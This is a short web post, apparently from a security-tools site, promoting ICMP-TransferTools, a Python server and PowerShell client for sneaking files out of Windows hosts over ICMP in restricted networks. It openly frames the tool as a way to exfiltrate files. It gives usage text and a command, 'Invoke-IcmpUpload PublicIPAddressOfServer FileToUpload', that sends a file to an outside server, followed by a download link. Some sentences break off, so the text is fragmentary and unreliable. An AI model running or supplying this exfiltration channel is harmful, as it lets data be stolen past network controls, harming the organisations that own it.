ICMP-TransferTools – Transfer Files To And From A Windows Host Via ICMP In Restricted Network Environments
ICMP-TransferTools is a set of
Upload via ICMP
The included ICMP-ReceiveFile.py
and Invoke-IcmpUpload.ps1
scripts can be used to upload/exfiltrate a file from a Windows host via ICMP.
The python server must be run first to ensure it’s ready to accept requests from the client. See below for the script’s usage:
usage: ICMP-ReceiveFile.py [-h] src file
ICYGUIDER'S ICMP FILE UPLOAD SERVER
positional arguments:
src Public IP Address of client
file File to write data to
optional arguments:
-h, --help show this help message and exit
Once imported, the powershell client can then be used to upload the desired file like so:
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
See below for a quick demonstration:
Download ICMP-TransferTools
If you like the site, please consider joining the telegram channel or supporting us on Patreon using the button below.